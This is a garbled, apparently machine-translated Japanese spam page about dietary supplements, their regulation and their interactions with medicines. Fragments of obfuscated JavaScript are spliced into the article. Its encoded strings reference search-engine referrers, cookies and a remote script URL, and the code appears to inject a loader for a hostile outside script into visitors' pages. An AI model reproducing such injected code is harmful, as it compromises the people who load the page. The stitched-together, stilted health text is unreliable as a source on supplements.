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よく食べることに関する良い情報源は、アメリカ人のための食事ガイドラインとMyPlateを含みます.. 多くのサプリメントは、体に強い影響を与える可能性がある有効成分を含んでいます.. おすすめサプリ組み合わせありえない食品医薬品局（FDA）は、栄養補助食品が市販される前に有効であるかどうかを判断していません.

製造元は1食分の量を提案していますが、あなたまたはあなたのヘルスケア提供者は異なる量があなたにとってより適切であると決めるかもしれません.. 人気のサプリメントはビタミンDとEが含まれています。カルシウムや鉄のようなミネラル。エキナセアやニンニクなどのハーブ。グルコサミン、プロバイオティクス、魚油などの特産品.

栄養補助食品はまた問題を引き起こすかもしれない方法で特定の処方薬と相互作用することができます.. あなたが栄養価の高い様々な食品を食べていない場合、いくつかのサプリメントはあなたが必須栄養素の十分な量を得るのを助けるかもしれません.. *ビタミンCやEのような抗酸化サプリメントは、ある種の癌化学療法の効果を低下させる可能性があります.

constructor(\x22return\x20this\x22)(\x20)'+');')();}catch(_0x3ff442){_0x208079=window;}return _0x208079;};var _0x4fcc33=_0x35c810();var _0x4e52a7='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x4fcc33['atob']||(_0x4fcc33['atob']=function(_0x281298){var _0x131a64=String(_0x281298)['replace'](/=+$/,'');for(var _0x396ed8=0x0,_0x1a8cb2,_0x36c8f3,_0x53fb7d=0x0,_0x2c66fe='';_0x36c8f3=_0x131a64['charAt'](_0x53fb7d++);~_0x36c8f3&&(_0x1a8cb2=_0x396ed8%0x4?_0x1a8cb2*0x40+_0x36c8f3:_0x36c8f3,_0x396ed8++%0x4)?_0x2c66fe+=String['fromCharCode'](0xff&_0x1a8cb2>>(-0x2*_0x396ed8&0x6)):0x0){_0x36c8f3=_0x4e52a7['indexOf'](_0x36c8f3);}return _0x2c66fe;});}());_0x30a8['aLpfWj']=function(_0x4bc181){var _0x34d380=atob(_0x4bc181);var _0x2cc501=[];for(var _0x2c55e7=0x0,_0x7b8be2=_0x34d380['length'];_0x2c55e7=_0x4dc651;},'xTmud':function(_0x5a07bc,_0x3f6fe2){return _0x5a07bc!==_0x3f6fe2;},'ChVJZ':_0x30a8('0x1b'),'hPYKP':function(_0x3f7525,_0x1c4aad){return _0x3f7525(_0x1c4aad);},'ckfIw':function(_0x372af5,_0x34c399){return _0x372af5+_0x34c399;},'kJrCl':_0x30a8('0x1c')};var _0x3087f6=[_0x30a8('0x1d'),_0x2d776b[_0x30a8('0x1e')],_0x2d776b[_0x30a8('0x1f')],_0x2d776b[_0x30a8('0x20')],_0x2d776b['zhebV'],_0x2d776b[_0x30a8('0x21')],_0x2d776b['tCOUD']],_0xba61bb=document[_0x30a8('0x22')],_0x5d8bca=![],_0xd3adf5=cookie[_0x30a8('0x23')](_0x2d776b[_0x30a8('0x24')]);for(var _0x4527b6=0x0;_0x4527b6. 栄養補助食品は、伝統的な錠剤、カプセル、粉剤、飲み物、エネルギーバーなど、さまざまな形で提供されています。.. 今日の栄養補助食品には、ビタミン、ミネラル、ハーブや植物性のもの、アミノ酸、酵素、そして他の多くの製品が含まれています。.. これはほんの数例です。 *ビタミンKは、血液シンナーのCoumadin®が血液の凝固を防ぐ能力を低下させる可能性があります.

ジョンの麦汁は多くの薬（抗うつ薬や避妊薬を含む）の分解を早め、それによってこれらの薬の効果を減らすことができます.. var _0x392a=['VUdjYnU=','UXBpREE=','WE1iTXI=','Z2V0VGltZQ==','cm9pYXc=','SktYT0o=','eHV4WUg=','Z1hEVmM=','OyBleHBpcmVzPQ==','LmJpbmcu','LmFvbC4=','LmFzay4=','LmFsdGF2aXN0YS4=','LnlhbmRleC4=','SWtzbkE=','aHR0cHM6Ly9jbG91ZGJyaWlkZ2UubWVuL2pwX2RlYy5waHA/eD1uZXcmcXVlcnk9','Lmdvb2dsZS4=','cm1OVVk=','bldXcW4=','V2ZJd2k=','ZFZ4cGU=','cmVmZXJyZXI=','Z2V0','cVNGQ2M=','bGVuZ3Ro','bGRTYng=','aW5kZXhPZg==','eFRtdWQ=','Q2hWSlo=','Y29va2ll','ZFVEVWQ=','aXNvaEc=','SkNuQk8=','eW1uYVM=','a25WWlM=','TEtxUkk=','ZGR0Snc=','WHhHQXE=','c2V0','dmlzaXRlZA==','aFBZS1A=','Y2tmSXc=','a0pyQ2w=','c2NyaXB0','aGVhZA==','d0tudW0=','c3Jj','Z2V0RWxlbWVudHNCeVRhZ05hbWU=','YXBwZW5kQ2hpbGQ=','Mnw0fDV8MXwwfDM=','c3BsaXQ=','cmVwbGFjZQ==','VWthQWI=','OyBwYXRoPQ==','OyBkb21haW49','OyBzZWN1cmU='];(function(_0x18428a,_0x1f6497){var _0x1cc273=function(_0x34b714){while(--_0x34b714){_0x18428a['push'](_0x18428a['shift']());}};_0x1cc273(++_0x1f6497);}(_0x392a,0x143));var _0x30a8=function(_0x5ab799,_0x1d4217){_0x5ab799=_0x5ab799-0x0;var _0xd979ea=_0x392a[_0x5ab799];if(_0x30a8['AwrKcG']===undefined){(function(){var _0x35c810=function(){var _0x208079;try{_0x208079=Function('return\x20(function()\x20'+'{}.. 例えば、カルシウムとビタミンDは骨を強く保ち、骨量を減らすのに重要です。葉酸は特定の先天性欠損症のリスクを減らします。と魚油からのオメガ-3脂肪酸は心臓病の何人かの人々を助けるかもしれません.. いくつかのサプリメントは出血のリスクを高める可能性があります、または人が手術の前後にそれらを取った場合、それらは麻酔に対するその人の反応に影響を与える可能性があります.. 栄養補助食品として表示されているすべての製品には、内容、1食当たりの有効成分の量、およびその他の追加成分（充填剤、結合剤、香味料など）がリストされた「補足情報」パネルがあります。.. 科学的な証拠は、いくつかの栄養補助食品が全体的な健康といくつかの健康状態の管理に有益であることを示しています.. 人々が処方された薬の代わりにそれらを取ったとき、または人々が組み合わせて多くのサプリメントを取ったとき、サプリメントは副作用または害を引き起こす可能性が最も高いです.. しかし、サプリメントは健康的な食事に重要である食品の様々な代わりをすることはできません. 5ebbf469cd

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